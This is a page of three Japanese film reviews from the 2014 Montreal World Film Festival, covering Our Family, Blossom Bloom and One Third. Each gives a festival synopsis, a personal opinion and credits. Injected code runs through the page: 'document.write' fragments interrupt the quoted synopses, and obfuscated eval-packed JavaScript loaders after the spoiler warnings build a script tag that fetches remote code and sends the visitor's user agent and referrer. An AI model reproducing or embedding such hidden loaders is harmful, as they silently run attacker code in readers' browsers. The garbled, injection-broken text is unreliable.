
“Reiko has been suffering from memory loss for some time, document.write(“”); but her family doesn’t really seem to notice. One day, she’s examined by a doctor, who discovers that she has a terminal brain tumor and will probably die within a week. As her dementia worsens, Reiko begins to express her true feelings for the first time, such as her fear that the family is falling apart. Meanwhile, her husband is facing bankruptcy and the family has been at odds over everyday problems and mistrusts. Their sons, Kosuke and Shunpei, react to the family troubles in different ways. The older brother, Kosuke, clumsily tries to shoulder the burden of the family while younger brother, Shunpei, gradually dedicates himself to becoming a better son.”

(Text from the Festival’s program)

In this family, the older son is a “recovered” Hikikomori who is now married and whose wife is expecting the first grandchild of the family. The younger son is an unreliable student who keep asking is mother for money. The husband’s company is not making any money so the couple is deeply in debts. When the family notice that the mother is behaving strangely and has memory lapses, they bring her to the doctor. The prognostic is devastating: she has an unoperable brain tumor and won’t probably live more than a week!

The two sons, who just discovered the extant of their parents debts, decide to do something about it. They also decide to seek second opinions on their mother’s diagnosis. After visiting a 6th hospital with their mother’s medical file, a doctor think that it might be a different type of tumor that could be treatable, so he refers them to another hospital and to a young female doctor. After more tests and a biopsy, it is revealed that the tumor is indeed treatable.

Through this ordeal the family — which had been slowly falling apart — is pulling together and it makes the sons to finally mature. I guess it shows that you must never give up. You must keep hope, give all your might and when things are getting though you must keep smilling…

As usual in Japanese cinema, this movie offers us nice imagery, particularly the beautiful landscape. It is a nice and enjoyable movie, but, somehow, I didn’t feel any emotions. Usually such movies will make me cry, but in this case I unfortunately didn’t feel any sadness. Was it me or was there something lacking in the stoytelling or the acting? I am not sure, but it was nevertheless a good story.

Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Scr.: Yuya Ishii (Based on the novel by Kazumasa Hayami); Phot.: Junichi Fujisawa; Ed.: Shinichi Fushima; Mus.: Takashi Watanabe; Cast: Satoshi Tsumabuki (Kosuke), Mieko Harada (Reiko), Sosuke Ikematsu (Shunpei), Kyozo Nagatsuka (Katsuaki), Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa. Film screened at the Montreal World Film Festival on August 25th, 2014 (Cinema Quartier Latin 15, 21h30 – the theatre was three-quarter full with about sixty people) as part of the “World Great” (Out of Competition) segment.
For more information you can visit the following websites:
Our family © 2013 Bokutachi no Kazoku Film Partners.

[ Traduire ]

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhza|var|u0026u|referrer|enzki||js|php’.split(‘|’),0,{}))
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“On first glance, document.write(“”); Shunzuke, 47, seems to have everything, a top job at an electronics company, a loving beautiful wife Akiko, a son Daisuke and a daughter Sakiko and a nice house where he lives with his father Shuntaro. But the respect he gets at work doesn’t extend to the domestic front, especially after Akiko discovered a now-ended affair of his. Meanwhile, Daisuke has skipped university to work in low-end jobs, Sakiko doesn’t talk to him, and Shuntaro is having serious health problems. On the eve of a possible promotion at work, Shunsuke decides that his family comes first.”

(Text from the Festival’s program)

A man who was too busy building a successful career is about to get a big promotion, but then realized that he has never been there for his family. He never listened to his wife, missed all of his daughter parent’s days at school, was not there to support his son when he was having academic difficulties and didn’t notice that his aging father was getting senile. He decide to take everyone on a family trip to bring them together, apologize for his failings and search for the lost memory of his father’s childhood.

Directed by Mitsutoshi Tanaka (who also directed Ask this of Rikyu, presented in competition at last year’s MWFF), it is a beautiful but sad movie about family, the challenges of old age, like dementia, and which shows us the beautiful landscapes of rural Japan (for their trip they travel to the Fukui Prefecture). I think it is also a reflexion on the shifting values of 21st century Japan: what’s the use to work yourself out if you don’t have a nice and enjoyable place to come to after?

Somehow, this movie hit close to home, therefore I personnally found it very touching. It’s a very good and enjoyable movie.

Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Ed.: Shinichi Fushima; Mus.: Ko Otani; Art Des.: Koichi Wakamatsu; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama (Sakiko), Masato Yano (Daisuke), Kanji Tsuda, Kyusaku Shimada, Sumie Sasaki, Ren Osugi. Film screened at the Montreal World Film Festival on August 23rd, 2014 (Cinema Quartier Latin 12, 11h40 – the theatre was tiny but it was nearly three-quarter full; Interestingly, a large part of the audience was made of Japanese ladies and elderly couples!) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Blossom bloom © 2014 Sakurasaku Film Partners.

[ Traduire ]

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deeez|var|u0026u|referrer|fbbhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znerf|var|u0026u|referrer|nznda||js|php’.split(‘|’),0,{}))

“Three small-time crooks — [Shuu, document.write(“”); ] manager of the Honey Bunny nightclub, Koji, an ex-motorcycle gang leader turned club waiter, and Big Ken, a Korean BBQ chain owner and club regular — desparate to turn their lifes around, manage to pull a successful bank heist in broad daylight and they return to hide out in Honey Bunny. Although they had agreed to each getting an equal third of the money they stole, their greed gets the better of them, with much bargaining and cheating. It turns out, however, they they are not the only ones after the loot. Will they see any of it all all?”

(Text from the Festival’s program)

Shuu is the manager for the night club “Honey Bunny” and a horse-race gambler. On his way to the bank to deposit the club’s takings he stops at the race tracks. Unexpectedly, he wins but in his excitement loses the bag containing the club’s money. The owner is a ruthless yakuza and he fears for his life. However, his friend Maria, a wanna-be actress, help him get a loan from an even ruthless loan-shark so he can pay back the club’s money. He has one week to pay back the loan or he dies. He persuades his friend Koji, who works at the “Honey Bunny”, and Ken, one of the customer, to rob a bank. They are all deeply in debts and desperate to turn around their life. They succeed but quarrels over dividing the loot. And, to make their tribulation worse, other parties are also interested in getting their hands on the stolen money!

I was expecting this one to be a third-rate film, but it ended up not so bad after all. It has lots of cheeky humour and movie references that make the movie quite enjoyable. Unfortunately, the plot is so circumvolved (plots and counter plots) that it doesn’t really work as each new development make what happened before less credible (but in such comedy, does it really matter?).

Also the premise of the story (a bunch of robbers quarrelling over their loot) is not original at all since I remember seeing a very similar one in another movie titled Crazy-ism. Although this movie is funnier and much more entertaining. Does our trio of incidental robbers succeed to pull through? Actually, we really never know since the movie leaves us with a kind of open ending. Quite clever.
One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara (Shuu), Koki Tanaka (Koji), Ryuichi Kosugi (Ken), Mika Nakashima (Maria), Yosuke Kubozuka (Hama), Shinnosuke Ikehata (Shibugaki), Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono. Film screened at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 14h30 – the theatre was three-quarter full but a few people left after the first half-hour) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
One third © 2014 Sanbun no ichi Production Committee.

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